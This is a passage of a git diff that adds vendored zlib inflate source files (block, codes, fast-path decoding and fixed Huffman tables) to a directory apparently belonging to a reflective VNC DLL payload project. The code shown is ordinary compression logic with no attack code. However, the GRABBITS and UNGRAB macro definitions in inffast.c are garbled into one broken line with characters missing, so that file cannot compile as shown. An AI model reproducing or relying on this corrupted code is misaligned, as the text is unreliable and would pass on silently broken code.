"inflate: stored end, %lu total out\n", + z->total_out + (q >= s->read ? q - s->read : + (s->end - s->read) + (q - s->window)))); + s->mode = s->last ? DRY : TYPE; + break; + case TABLE: + NEEDBITS(14) + s->sub.trees.table = t = (uInt)b & 0x3fff; +#ifndef PKZIP_BUG_WORKAROUND + if ((t & 0x1f) > 29 || ((t >> 5) & 0x1f) > 29) + { + s->mode = BAD; + z->msg = (char*)"too many length or distance symbols"; + r = Z_DATA_ERROR; + LEAVE + } +#endif + t = 258 + (t & 0x1f) + ((t >> 5) & 0x1f); + if ((s->sub.trees.blens = (uIntf*)ZALLOC(z, t, sizeof(uInt))) == Z_NULL) + { + r = Z_MEM_ERROR; + LEAVE + } + DUMPBITS(14) + s->sub.trees.index = 0; + Tracev((stderr, "inflate: table sizes ok\n")); + s->mode = BTREE; + case BTREE: + while (s->sub.trees.index < 4 + (s->sub.trees.table >> 10)) + { + NEEDBITS(3) + s->sub.trees.blens[border[s->sub.trees.index++]] = (uInt)b & 7; + DUMPBITS(3) + } + while (s->sub.trees.index < 19) + s->sub.trees.blens[border[s->sub.trees.index++]] = 0; + s->sub.trees.bb = 7; + t = inflate_trees_bits(s->sub.trees.blens, &s->sub.trees.bb, + &s->sub.trees.tb, s->hufts, z); + if (t != Z_OK) + { + r = t; + if (r == Z_DATA_ERROR) + { + ZFREE(z, s->sub.trees.blens); + s->mode = BAD; + } + LEAVE + } + s->sub.trees.index = 0; + Tracev((stderr, "inflate: bits tree ok\n")); + s->mode = DTREE; + case DTREE: + while (t = s->sub.trees.table, + s->sub.trees.index < 258 + (t & 0x1f) + ((t >> 5) & 0x1f)) + { + inflate_huft *h; + uInt i, j, c; + + t = s->sub.trees.bb; + NEEDBITS(t) + h = s->sub.trees.tb + ((uInt)b & inflate_mask[t]); + t = h->bits; + c = h->base; + if (c < 16) + { + DUMPBITS(t) + s->sub.trees.blens[s->sub.trees.index++] = c; + } + else /* c == 16..18 */ + { + i = c == 18 ? 7 : c - 14; + j = c == 18 ? 11 : 3; + NEEDBITS(t + i) + DUMPBITS(t) + j += (uInt)b & inflate_mask[i]; + DUMPBITS(i) + i = s->sub.trees.index; + t = s->sub.trees.table; + if (i + j > 258 + (t & 0x1f) + ((t >> 5) & 0x1f) || + (c == 16 && i < 1)) + { + ZFREE(z, s->sub.trees.blens); + s->mode = BAD; + z->msg = (char*)"invalid bit length repeat"; + r = Z_DATA_ERROR; + LEAVE + } + c = c == 16 ? s->sub.trees.blens[i - 1] : 0; + do { + s->sub.trees.blens[i++] = c; + } while (--j); + s->sub.trees.index = i; + } + } + s->sub.trees.tb = Z_NULL; + { + uInt bl, bd; + inflate_huft *tl, *td; + inflate_codes_statef *c; + + bl = 9; /* must be <= 9 for lookahead assumptions */ + bd = 6; /* must be <= 9 for lookahead assumptions */ + t = s->sub.trees.table; + t = inflate_trees_dynamic(257 + (t & 0x1f), 1 + ((t >> 5) & 0x1f), + s->sub.trees.blens, &bl, &bd, &tl, &td, + s->hufts, z); + if (t != Z_OK) + { + if (t == (uInt)Z_DATA_ERROR) + { + ZFREE(z, s->sub.trees.blens); + s->mode = BAD; + } + r = t; + LEAVE + } + Tracev((stderr, "inflate: trees ok\n")); + if ((c = inflate_codes_new(bl, bd, tl, td, z)) == Z_NULL) + { + r = Z_MEM_ERROR; + LEAVE + } + s->sub.decode.codes = c; + } + ZFREE(z, s->sub.trees.blens); + s->mode = CODES; + case CODES: + UPDATE + if ((r = inflate_codes(s, z, r)) != Z_STREAM_END) + return inflate_flush(s, z, r); + r = Z_OK; + inflate_codes_free(s->sub.decode.codes, z); + LOAD + Tracev((stderr, "inflate: codes end, %lu total out\n", + z->total_out + (q >= s->read ? q - s->read : + (s->end - s->read) + (q - s->window)))); + if (!s->last) + { + s->mode = TYPE; + break; + } + s->mode = DRY; + case DRY: + FLUSH + if (s->read != s->write) + LEAVE + s->mode = DONE; + case DONE: + r = Z_STREAM_END; + LEAVE + case BAD: + r = Z_DATA_ERROR; + LEAVE + default: + r = Z_STREAM_ERROR; + LEAVE + } +} + + +int inflate_blocks_free(s, z) +inflate_blocks_statef *s; +z_streamp z; +{ + inflate_blocks_reset(s, z, Z_NULL); + ZFREE(z, s->window); + ZFREE(z, s->hufts); + ZFREE(z, s); + Tracev((stderr, "inflate: blocks freed\n")); + return Z_OK; +} + + +void inflate_set_dictionary(s, d, n) +inflate_blocks_statef *s; +const Bytef *d; +uInt n; +{ + zmemcpy(s->window, d, n); + s->read = s->write = s->window + n; +} + + +/* Returns true if inflate is currently at the end of a block generated + * by Z_SYNC_FLUSH or Z_FULL_FLUSH. + * IN assertion: s != Z_NULL + */ +int inflate_blocks_sync_point(s) +inflate_blocks_statef *s; +{ + return s->mode == LENS; +} diff --git a/external/source/reflective_vncdll/zlib/infblock.h b/external/source/reflective_vncdll/zlib/infblock.h new file mode 100644 index 0000000000..4cf0fa9690 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/infblock.h @@ -0,0 +1,39 @@ +/* infblock.h -- header to use infblock.c + * Copyright (C) 1995-2002 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +struct inflate_blocks_state; +typedef struct inflate_blocks_state FAR inflate_blocks_statef; + +extern inflate_blocks_statef * inflate_blocks_new OF(( + z_streamp z, + check_func c, /* check function */ + uInt w)); /* window size */ + +extern int inflate_blocks OF(( + inflate_blocks_statef *, + z_streamp , + int)); /* initial return code */ + +extern void inflate_blocks_reset OF(( + inflate_blocks_statef *, + z_streamp , + uLongf *)); /* check value on output */ + +extern int inflate_blocks_free OF(( + inflate_blocks_statef *, + z_streamp)); + +extern void inflate_set_dictionary OF(( + inflate_blocks_statef *s, + const Bytef *d, /* dictionary */ + uInt n)); /* dictionary length */ + +extern int inflate_blocks_sync_point OF(( + inflate_blocks_statef *s)); diff --git a/external/source/reflective_vncdll/zlib/infcodes.c b/external/source/reflective_vncdll/zlib/infcodes.c new file mode 100644 index 0000000000..aa7b3a0375 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/infcodes.c @@ -0,0 +1,251 @@ +/* infcodes.c -- process literals and length/distance pairs + * Copyright (C) 1995-2002 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +#include "zutil.h" +#include "inftrees.h" +#include "infblock.h" +#include "infcodes.h" +#include "infutil.h" +#include "inffast.h" + +/* simplify the use of the inflate_huft type with some defines */ +#define exop word.what.Exop +#define bits word.what.Bits + +typedef enum { /* waiting for "i:"=input, "o:"=output, "x:"=nothing */ + START, /* x: set up for LEN */ + LEN, /* i: get length/literal/eob next */ + LENEXT, /* i: getting length extra (have base) */ + DIST, /* i: get distance next */ + DISTEXT, /* i: getting distance extra */ + COPY, /* o: copying bytes in window, waiting for space */ + LIT, /* o: got literal, waiting for output space */ + WASH, /* o: got eob, possibly still output waiting */ + END, /* x: got eob and all data flushed */ + BADCODE} /* x: got error */ +inflate_codes_mode; + +/* inflate codes private state */ +struct inflate_codes_state { + + /* mode */ + inflate_codes_mode mode; /* current inflate_codes mode */ + + /* mode dependent information */ + uInt len; + union { + struct { + inflate_huft *tree; /* pointer into tree */ + uInt need; /* bits needed */ + } code; /* if LEN or DIST, where in tree */ + uInt lit; /* if LIT, literal */ + struct { + uInt get; /* bits to get for extra */ + uInt dist; /* distance back to copy from */ + } copy; /* if EXT or COPY, where and how much */ + } sub; /* submode */ + + /* mode independent information */ + Byte lbits; /* ltree bits decoded per branch */ + Byte dbits; /* dtree bits decoder per branch */ + inflate_huft *ltree; /* literal/length/eob tree */ + inflate_huft *dtree; /* distance tree */ + +}; + + +inflate_codes_statef *inflate_codes_new(bl, bd, tl, td, z) +uInt bl, bd; +inflate_huft *tl; +inflate_huft *td; /* need separate declaration for Borland C++ */ +z_streamp z; +{ + inflate_codes_statef *c; + + if ((c = (inflate_codes_statef *) + ZALLOC(z,1,sizeof(struct inflate_codes_state))) != Z_NULL) + { + c->mode = START; + c->lbits = (Byte)bl; + c->dbits = (Byte)bd; + c->ltree = tl; + c->dtree = td; + Tracev((stderr, "inflate: codes new\n")); + } + return c; +} + + +int inflate_codes(s, z, r) +inflate_blocks_statef *s; +z_streamp z; +int r; +{ + uInt j; /* temporary storage */ + inflate_huft *t; /* temporary pointer */ + uInt e; /* extra bits or operation */ + uLong b; /* bit buffer */ + uInt k; /* bits in bit buffer */ + Bytef *p; /* input data pointer */ + uInt n; /* bytes available there */ + Bytef *q; /* output window write pointer */ + uInt m; /* bytes to end of window or read pointer */ + Bytef *f; /* pointer to copy strings from */ + inflate_codes_statef *c = s->sub.decode.codes; /* codes state */ + + /* copy input/output information to locals (UPDATE macro restores) */ + LOAD + + /* process input and output based on current state */ + while (1) switch (c->mode) + { /* waiting for "i:"=input, "o:"=output, "x:"=nothing */ + case START: /* x: set up for LEN */ +#ifndef SLOW + if (m >= 258 && n >= 10) + { + UPDATE + r = inflate_fast(c->lbits, c->dbits, c->ltree, c->dtree, s, z); + LOAD + if (r != Z_OK) + { + c->mode = r == Z_STREAM_END ? WASH : BADCODE; + break; + } + } +#endif /* !SLOW */ + c->sub.code.need = c->lbits; + c->sub.code.tree = c->ltree; + c->mode = LEN; + case LEN: /* i: get length/literal/eob next */ + j = c->sub.code.need; + NEEDBITS(j) + t = c->sub.code.tree + ((uInt)b & inflate_mask[j]); + DUMPBITS(t->bits) + e = (uInt)(t->exop); + if (e == 0) /* literal */ + { + c->sub.lit = t->base; + Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? + "inflate: literal '%c'\n" : + "inflate: literal 0x%02x\n", t->base)); + c->mode = LIT; + break; + } + if (e & 16) /* length */ + { + c->sub.copy.get = e & 15; + c->len = t->base; + c->mode = LENEXT; + break; + } + if ((e & 64) == 0) /* next table */ + { + c->sub.code.need = e; + c->sub.code.tree = t + t->base; + break; + } + if (e & 32) /* end of block */ + { + Tracevv((stderr, "inflate: end of block\n")); + c->mode = WASH; + break; + } + c->mode = BADCODE; /* invalid code */ + z->msg = (char*)"invalid literal/length code"; + r = Z_DATA_ERROR; + LEAVE + case LENEXT: /* i: getting length extra (have base) */ + j = c->sub.copy.get; + NEEDBITS(j) + c->len += (uInt)b & inflate_mask[j]; + DUMPBITS(j) + c->sub.code.need = c->dbits; + c->sub.code.tree = c->dtree; + Tracevv((stderr, "inflate: length %u\n", c->len)); + c->mode = DIST; + case DIST: /* i: get distance next */ + j = c->sub.code.need; + NEEDBITS(j) + t = c->sub.code.tree + ((uInt)b & inflate_mask[j]); + DUMPBITS(t->bits) + e = (uInt)(t->exop); + if (e & 16) /* distance */ + { + c->sub.copy.get = e & 15; + c->sub.copy.dist = t->base; + c->mode = DISTEXT; + break; + } + if ((e & 64) == 0) /* next table */ + { + c->sub.code.need = e; + c->sub.code.tree = t + t->base; + break; + } + c->mode = BADCODE; /* invalid code */ + z->msg = (char*)"invalid distance code"; + r = Z_DATA_ERROR; + LEAVE + case DISTEXT: /* i: getting distance extra */ + j = c->sub.copy.get; + NEEDBITS(j) + c->sub.copy.dist += (uInt)b & inflate_mask[j]; + DUMPBITS(j) + Tracevv((stderr, "inflate: distance %u\n", c->sub.copy.dist)); + c->mode = COPY; + case COPY: /* o: copying bytes in window, waiting for space */ + f = q - c->sub.copy.dist; + while (f < s->window) /* modulo window size-"while" instead */ + f += s->end - s->window; /* of "if" handles invalid distances */ + while (c->len) + { + NEEDOUT + OUTBYTE(*f++) + if (f == s->end) + f = s->window; + c->len--; + } + c->mode = START; + break; + case LIT: /* o: got literal, waiting for output space */ + NEEDOUT + OUTBYTE(c->sub.lit) + c->mode = START; + break; + case WASH: /* o: got eob, possibly more output */ + if (k > 7) /* return unused byte, if any */ + { + Assert(k < 16, "inflate_codes grabbed too many bytes") + k -= 8; + n++; + p--; /* can always return one */ + } + FLUSH + if (s->read != s->write) + LEAVE + c->mode = END; + case END: + r = Z_STREAM_END; + LEAVE + case BADCODE: /* x: got error */ + r = Z_DATA_ERROR; + LEAVE + default: + r = Z_STREAM_ERROR; + LEAVE + } +#ifdef NEED_DUMMY_RETURN + return Z_STREAM_ERROR; /* Some dumb compilers complain without this */ +#endif +} + + +void inflate_codes_free(c, z) +inflate_codes_statef *c; +z_streamp z; +{ + ZFREE(z, c); + Tracev((stderr, "inflate: codes free\n")); +} diff --git a/external/source/reflective_vncdll/zlib/infcodes.h b/external/source/reflective_vncdll/zlib/infcodes.h new file mode 100644 index 0000000000..531d419270 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/infcodes.h @@ -0,0 +1,27 @@ +/* infcodes.h -- header to use infcodes.c + * Copyright (C) 1995-2002 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +struct inflate_codes_state; +typedef struct inflate_codes_state FAR inflate_codes_statef; + +extern inflate_codes_statef *inflate_codes_new OF(( + uInt, uInt, + inflate_huft *, inflate_huft *, + z_streamp )); + +extern int inflate_codes OF(( + inflate_blocks_statef *, + z_streamp , + int)); + +extern void inflate_codes_free OF(( + inflate_codes_statef *, + z_streamp )); + diff --git a/external/source/reflective_vncdll/zlib/inffast.c b/external/source/reflective_vncdll/zlib/inffast.c new file mode 100644 index 0000000000..655eaf0b88 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/inffast.c @@ -0,0 +1,183 @@ +/* inffast.c -- process literals and length/distance pairs fast + * Copyright (C) 1995-2002 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +#include "zutil.h" +#include "inftrees.h" +#include "infblock.h" +#include "infcodes.h" +#include "infutil.h" +#include "inffast.h" + +struct inflate_codes_state {int dummy;}; /* for buggy compilers */ + +/* simplify the use of the inflate_huft type with some defines */ +#define exop word.what.Exop +#define bits word.what.Bits + +/* macros for bit input with no checking and for returning unused bytes */ +#define GRABBITS(j) {while(k<(j)){b|=((uLong)NEXTBYTE)<avail_in-n;c=(k>>3)>3:c;n+=c;p-=c;k-=c<<3;} + +/* Called with number of bytes left to write in window at least 258 + (the maximum string length) and number of input bytes available + at least ten. The ten bytes are six bytes for the longest length/ + distance pair plus four bytes for overloading the bit buffer. */ + +int inflate_fast(bl, bd, tl, td, s, z) +uInt bl, bd; +inflate_huft *tl; +inflate_huft *td; /* need separate declaration for Borland C++ */ +inflate_blocks_statef *s; +z_streamp z; +{ + inflate_huft *t; /* temporary pointer */ + uInt e; /* extra bits or operation */ + uLong b; /* bit buffer */ + uInt k; /* bits in bit buffer */ + Bytef *p; /* input data pointer */ + uInt n; /* bytes available there */ + Bytef *q; /* output window write pointer */ + uInt m; /* bytes to end of window or read pointer */ + uInt ml; /* mask for literal/length tree */ + uInt md; /* mask for distance tree */ + uInt c; /* bytes to copy */ + uInt d; /* distance back to copy from */ + Bytef *r; /* copy source pointer */ + + /* load input, output, bit values */ + LOAD + + /* initialize masks */ + ml = inflate_mask[bl]; + md = inflate_mask[bd]; + + /* do until not enough input or output space for fast loop */ + do { /* assume called with m >= 258 && n >= 10 */ + /* get literal/length code */ + GRABBITS(20) /* max bits for literal/length code */ + if ((e = (t = tl + ((uInt)b & ml))->exop) == 0) + { + DUMPBITS(t->bits) + Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? + "inflate: * literal '%c'\n" : + "inflate: * literal 0x%02x\n", t->base)); + *q++ = (Byte)t->base; + m--; + continue; + } + do { + DUMPBITS(t->bits) + if (e & 16) + { + /* get extra bits for length */ + e &= 15; + c = t->base + ((uInt)b & inflate_mask[e]); + DUMPBITS(e) + Tracevv((stderr, "inflate: * length %u\n", c)); + + /* decode distance base of block to copy */ + GRABBITS(15); /* max bits for distance code */ + e = (t = td + ((uInt)b & md))->exop; + do { + DUMPBITS(t->bits) + if (e & 16) + { + /* get extra bits to add to distance base */ + e &= 15; + GRABBITS(e) /* get extra bits (up to 13) */ + d = t->base + ((uInt)b & inflate_mask[e]); + DUMPBITS(e) + Tracevv((stderr, "inflate: * distance %u\n", d)); + + /* do the copy */ + m -= c; + r = q - d; + if (r < s->window) /* wrap if needed */ + { + do { + r += s->end - s->window; /* force pointer in window */ + } while (r < s->window); /* covers invalid distances */ + e = s->end - r; + if (c > e) + { + c -= e; /* wrapped copy */ + do { + *q++ = *r++; + } while (--e); + r = s->window; + do { + *q++ = *r++; + } while (--c); + } + else /* normal copy */ + { + *q++ = *r++; c--; + *q++ = *r++; c--; + do { + *q++ = *r++; + } while (--c); + } + } + else /* normal copy */ + { + *q++ = *r++; c--; + *q++ = *r++; c--; + do { + *q++ = *r++; + } while (--c); + } + break; + } + else if ((e & 64) == 0) + { + t += t->base; + e = (t += ((uInt)b & inflate_mask[e]))->exop; + } + else + { + z->msg = (char*)"invalid distance code"; + UNGRAB + UPDATE + return Z_DATA_ERROR; + } + } while (1); + break; + } + if ((e & 64) == 0) + { + t += t->base; + if ((e = (t += ((uInt)b & inflate_mask[e]))->exop) == 0) + { + DUMPBITS(t->bits) + Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? + "inflate: * literal '%c'\n" : + "inflate: * literal 0x%02x\n", t->base)); + *q++ = (Byte)t->base; + m--; + break; + } + } + else if (e & 32) + { + Tracevv((stderr, "inflate: * end of block\n")); + UNGRAB + UPDATE + return Z_STREAM_END; + } + else + { + z->msg = (char*)"invalid literal/length code"; + UNGRAB + UPDATE + return Z_DATA_ERROR; + } + } while (1); + } while (m >= 258 && n >= 10); + + /* not enough input or output--restore pointers and return */ + UNGRAB + UPDATE + return Z_OK; +} diff --git a/external/source/reflective_vncdll/zlib/inffast.h b/external/source/reflective_vncdll/zlib/inffast.h new file mode 100644 index 0000000000..ac643b3291 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/inffast.h @@ -0,0 +1,17 @@ +/* inffast.h -- header to use inffast.c + * Copyright (C) 1995-2002 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +extern int inflate_fast OF(( + uInt, + uInt, + inflate_huft *, + inflate_huft *, + inflate_blocks_statef *, + z_streamp )); diff --git a/external/source/reflective_vncdll/zlib/inffixed.h b/external/source/reflective_vncdll/zlib/inffixed.h new file mode 100644 index 0000000000..e997507c3c --- /dev/null +++ b/external/source/reflective_vncdll/zlib/inffixed.h @@ -0,0 +1,151 @@ +/* inffixed.h -- table for decoding fixed codes + * Generated automatically by the maketree.c program + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +local uInt fixed_bl = 9; +local uInt fixed_bd = 5; +local inflate_huft fixed_tl[] = { + {{{96,7}},256}, {{{0,8}},80}, {{{0,8}},16}, {{{84,8}},115}, + {{{82,7}},31}, {{{0,8}},112}, {{{0,8}},48}, {{{0,9}},192}, + {{{80,7}},10}, {{{0,8}},96}, {{{0,8}},32}, {{{0,9}},160}, + {{{0,8}},0}, {{{0,8}},128}, {{{0,8}},64}, {{{0,9}},224}, + {{{80,7}},6}, {{{0,8}},88}, {{{0,8}},24}, {{{0,9}},144}, + {{{83,7}},59}, {{{0,8}},120}, {{{0,8}},56}, {{{0,9}},208}, + {{{81,7}},17}, {{{0,8}},104}, {{{0,8}},40}, {{{0,9}},176}, + {{{0,8}},8}, {{{0,8}},136}, {{{0,8}},72}, {{{0,9}},240}, + {{{80,7}},4}, {{{0,8}},84}, {{{0,8}},20}, {{{85,8}},227}, + {{{83,7}},43}, {{{0,8}},116}, {{{0,8}},52}, {{{0,9}},200}, + {{{81,7}},13}, {{{0,8}},100}, {{{0,8}},36}, {{{0,9}},168}, + {{{0,8}},4}, {{{0,8}},132}, {{{0,8}},68}, {{{0,9}},232}, + {{{80,7}},8}, {{{0,8}},92}, {{{0,8}},28}, {{{0,9}},152}, + {{{84,7}},83}, {{{0,8}},124}, {{{0,8}},60}, {{{0,9}},216}, + {{{82,7}},23}, {{{0,8}},108}, {{{0,8}},44}, {{{0,9}},184}, + {{{0,8}},12}, {{{0,8}},140}, {{{0,8}},76}, {{{0,9}},248}, + {{{80,7}},3}, {{{0,8}},82}, {{{0,8}},18}, {{{85,8}},163}, + {{{83,7}},35}, {{{0,8}},114}, {{{0,8}},50}, {{{0,9}},196}, + {{{81,7}},11}, {{{0,8}},98}, {{{0,8}},34}, {{{0,9}},164}, + {{{0,8}},2}, {{{0,8}},130}, {{{0,8}},66}, {{{0,9}},228}, + {{{80,7}},7}, {{{0,8}},90}, {{{0,8}},26}, {{{0,9}},148}, + {{{84,7}},67}, {{{0,8}},122}, {{{0,8}},58}, {{{0,9}},212}, + {{{82,7}},19}, {{{0,8}},106}, {{{0,8}},42}, {{{0,9}},180}, + {{{0,8}},10}, {{{0,8}},138}, {{{0,8}},74}, {{{0,9}},244}, + {{{80,7}},5}, {{{0,8}},86}, {{{0,8}},22}, {{{192,8}},0}, + {{{83,7}},51}, {{{0,8}},118}, {{{0,8}},54}, {{{0,9}},204}, + {{{81,7}},15}, {{{0,8}},102}, {{{0,8}},38}, {{{0,9}},172}, + {{{0,8}},6}, {{{0,8}},134}, {{{0,8}},70}, {{{0,9}},236}, + {{{80,7}},9}, {{{0,8}},94}, {{{0,8}},30}, {{{0,9}},156}, + {{{84,7}},99}, {{{0,8}},126}, {{{0,8}},62}, {{{0,9}},220}, + {{{82,7}},27}, {{{0,8}},110}, {{{0,8}},46}, {{{0,9}},188}, + {{{0,8}},14}, {{{0,8}},142}, {{{0,8}},78}, {{{0,9}},252}, + {{{96,7}},256}, {{{0,8}},81}, {{{0,8}},17}, {{{85,8}},131}, + {{{82,7}},31}, {{{0,8}},113}, {{{0,8}},49}, {{{0,9}},194}, + {{{80,7}},10}, {{{0,8}},97}, {{{0,8}},33}, {{{0,9}},162}, + {{{0,8}},1}, {{{0,8}},129}, {{{0,8}},65}, {{{0,9}},226}, + {{{80,7}},6}, {{{0,8}},89}, {{{0,8}},25}, {{{0,9}},146}, + {{{83,7}},59}, {{{0,8}},121}, {{{0,8}},57}, {{{0,9}},210}, + {{{81,7}},17}, {{{0,8}},105}, {{{0,8}},41}, {{{0,9}},178}, + {{{0,8}},9}, {{{0,8}},137}, {{{0,8}},73}, {{{0,9}},242}, + {{{80,7}},4}, {{{0,8}},85}, {{{0,8}},21}, {{{80,8}},258}, + {{{83,7}},43}, {{{0,8}},117}, {{{0,8}},53}, {{{0,9}},202}, + {{{81,7}},13}, {{{0,8}},101}, {{{0,8}},37}, {{{0,9}},170}, + {{{0,8}},5}, {{{0,8}},133}, {{{0,8}},69}, {{{0,9}},234}, + {{{80,7}},8}, {{{0,8}},93}, {{{0,8}},29}, {{{0,9}},154}, + {{{84,7}},83}, {{{0,8}},125}, {{{0,8}},61}, {{{0,9}},218}, + {{{82,7}},23}, {{{0,8}},109}, {{{0,8}},45}, {{{0,9}},186}, + {{{0,8}},13}, {{{0,8}},141}, {{{0,8}},77}, {{{0,9}},250}, + {{{80,7}},3}, {{{0,8}},83}, {{{0,8}},19}, {{{85,8}},195}, + {{{83,7}},35}, {{{0,8}},115}, {{{0,8}},51}, {{{0,9}},198}, + {{{81,7}},11}, {{{0,8}},99}, {{{0,8}},35}, {{{0,9}},166}, + {{{0,8}},3}, {{{0,8}},131}, {{{0,8}},67}, {{{0,9}},230}, + {{{80,7}},7}, {{{0,8}},91}, {{{0,8}},27}, {{{0,9}},150}, + {{{84,7}},67}, {{{0,8}},123}, {{{0,8}},59}, {{{0,9}},214}, + {{{82,7}},19}, {{{0,8}},107}, {{{0,8}},43}, {{{0,9}},182}, + {{{0,8}},11}, {{{0,8}},139}, {{{0,8}},75}, {{{0,9}},246}, + {{{80,7}},5}, {{{0,8}},87}, {{{0,8}},23}, {{{192,8}},0}, + {{{83,7}},51}, {{{0,8}},119}, {{{0,8}},55}, {{{0,9}},206}, + {{{81,7}},15}, {{{0,8}},103}, {{{0,8}},39}, {{{0,9}},174}, + {{{0,8}},7}, {{{0,8}},135}, {{{0,8}},71}, {{{0,9}},238}, + {{{80,7}},9}, {{{0,8}},95}, {{{0,8}},31}, {{{0,9}},158}, + {{{84,7}},99}, {{{0,8}},127}, {{{0,8}},63}, {{{0,9}},222}, + {{{82,7}},27}, {{{0,8}},111}, {{{0,8}},47}, {{{0,9}},190}, + {{{0,8}},15}, {{{0,8}},143}, {{{0,8}},79}, {{{0,9}},254}, + {{{96,7}},256}, {{{0,8}},80}, {{{0,8}},16}, {{{84,8}},115}, + {{{82,7}},31}, {{{0,8}},112}, {{{0,8}},48}, {{{0,9}},193}, + {{{80,7}},10}, {{{0,8}},96}, {{{0,8}},32}, {{{0,9}},161}, + {{{0,8}},0}, {{{0,8}},128}, {{{0,8}},64}, {{{0,9}},225}, + {{{80,7}},6}, {{{0,8}},88}, {{{0,8}},24}, {{{0,9}},145}, + {{{83,7}},59}, {{{0,8}},120}, {{{0,8}},56}, {{{0,9}},209}, + {{{81,7}},17}, {{{0,8}},104}, {{{0,8}},40}, {{{0,9}},177}, + {{{0,8}},8}, {{{0,8}},136}, {{{0,8}},72}, {{{0,9}},241}, + {{{80,7}},4}, {{{0,8}},84}, {{{0,8}},20}, {{{85,8}},227}, + {{{83,7}},43}, {{{0,8}},116}, {{{0,8}},52}, {{{0,9}},201}, + {{{81,7}},13}, {{{0,8}},100}, {{{0,8}},36}, {{{0,9}},169}, + {{{0,8}},4}, {{{0,8}},132}, {{{0,8}},68}, {{{0,9}},233}, + {{{80,7}},8}, {{{0,8}},92}, {{{0,8}},28}, {{{0,9}},153}, + {{{84,7}},83}, {{{0,8}},124}, {{{0,8}},60}, {{{0,9}},217}, + {{{82,7}},23}, {{{0,8}},108}, {{{0,8}},44}, {{{0,9}},185}, + {{{0,8}},12}, {{{0,8}},140}, {{{0,8}},76}, {{{0,9}},249}, + {{{80,7}},3}, {{{0,8}},82}, {{{0,8}},18}, {{{85,8}},163}, + {{{83,7}},35}, {{{0,8}},114}, {{{0,8}},50}, {{{0,9}},197}, + {{{81,7}},11}, {{{0,8}},98}, {{{0,8}},34}, {{{0,9}},165}, + {{{0,8}},2}, {{{0,8}},130}, {{{0,8}},66}, {{{0,9}},229}, + {{{80,7}},7}, {{{0,8}},90}, {{{0,8}},26}, {{{0,9}},149}, + {{{84,7}},67}, {{{0,8}},122}, {{{0,8}},58}, {{{0,9}},213}, + {{{82,7}},19}, {{{0,8}},106}, {{{0,8}},42}, {{{0,9}},181}, + {{{0,8}},10}, {{{0,8}},138}, {{{0,8}},74}, {{{0,9}},245}, + {{{80,7}},5}, {{{0,8}},86}, {{{0,8}},22}, {{{192,8}},0}, + {{{83,7}},51}, {{{0,8}},118}, {{{0,8}},54}, {{{0,9}},205}, + {{{81,7}},15}, {{{0,8}},102}, {{{0,8}},38}, {{{0,9}},173}, + {{{0,8}},6}, {{{0,8}},134}, {{{0,8}},70}, {{{0,9}},237}, + {{{80,7}},9}, {{{0,8}},94}, {{{0,8}},30}, {{{0,9}},157}, + {{{84,7}},99}, {{{0,8}},126}, {{{0,8}},62}, {{{0,9}},221}, + {{{82,7}},27}, {{{0,8}},110}, {{{0,8}},46}, {{{0,9}},189}, + {{{0,8}},14}, {{{0,8}},142}, {{{0,8}},78}, {{{0,9}},253}, + {{{96,7}},256}, {{{0,8}},81}, {{{0,8}},17}, {{{85,8}},131}, + {{{82,7}},31}, {{{0,8}},113}, {{{0,8}},49}, {{{0,9}},195}, + {{{80,7}},10}, {{{0,8}},97}, {{{0,8}},33}, {{{0,9}},163}, + {{{0,8}},1}, {{{0,8}},129}, {{{0,8}},65}, {{{0,9}},227}, + {{{80,7}},6}, {{{0,8}},89}, {{{0,8}},25}, {{{0,9}},147}, + {{{83,7}},59}, {{{0,8}},121}, {{{0,8}},57}, {{{0,9}},211}, + {{{81,7}},17}, {{{0,8}},105}, {{{0,8}},41}, {{{0,9}},179}, + {{{0,8}},9}, {{{0,8}},137}, {{{0,8}},73}, {{{0,9}},243}, + {{{80,7}},4}, {{{0,8}},85}, {{{0,8}},21}, {{{80,8}},258}, + {{{83,7}},43}, {{{0,8}},117}, {{{0,8}},53}, {{{0,9}},203}, + {{{81,7}},13}, {{{0,8}},101}, {{{0,8}},37}, {{{0,9}},171}, + {{{0,8}},5}, {{{0,8}},133}, {{{0,8}},69}, {{{0,9}},235}, + {{{80,7}},8}, {{{0,8}},93}, {{{0,8}},29}, {{{0,9}},155}, + {{{84,7}},83}, {{{0,8}},125}, {{{0,8}},61}, {{{0,9}},219}, + {{{82,7}},23}, {{{0,8}},109}, {{{0,8}},45}, {{{0,9}},187}, + {{{0,8}},13}, {{{0,8}},141}, {{{0,8}},77}, {{{0,9}},251}, + {{{80,7}},3}, {{{0,8}},83}, {{{0,8}},19}, {{{85,8}},195}, + {{{83,7}},35}, {{{0,8}},115}, {{{0,8}},51}, {{{0,9}},199}, + {{{81,7}},11}, {{{0,8}},99}, {{{0,8}},35}, {{{0,9}},167}, + {{{0,8}},3}, {{{0,8}},131}, {{{0,8}},67}, {{{0,9}},231}, + {{{80,7}},7}, {{{0,8}},91}, {{{0,8}},27}, {{{0,9}},151}, + {{{84,7}},67}, {{{0,8}},123}, {{{0,8}},59}, {{{0,9}},215}, + {{{82,7}},19}, {{{0,8}},107}, {{{0,8}},43}, {{{0,9}},183}, + {{{0,8}},11}, {{{0,8}},139}, {{{0,8}},75}, {{{0,9}},247}, + {{{80,7}},5}, {{{0,8}},87}, {{{0,8}},23}, {{{192,8}},0}, + {{{83,7}},51}, {{{0,8}},119}, {{{0,8}},55}, {{{0,9}},207}, + {{{81,7}},15}, {{{0,8}},103}, {{{0,8}},39}, 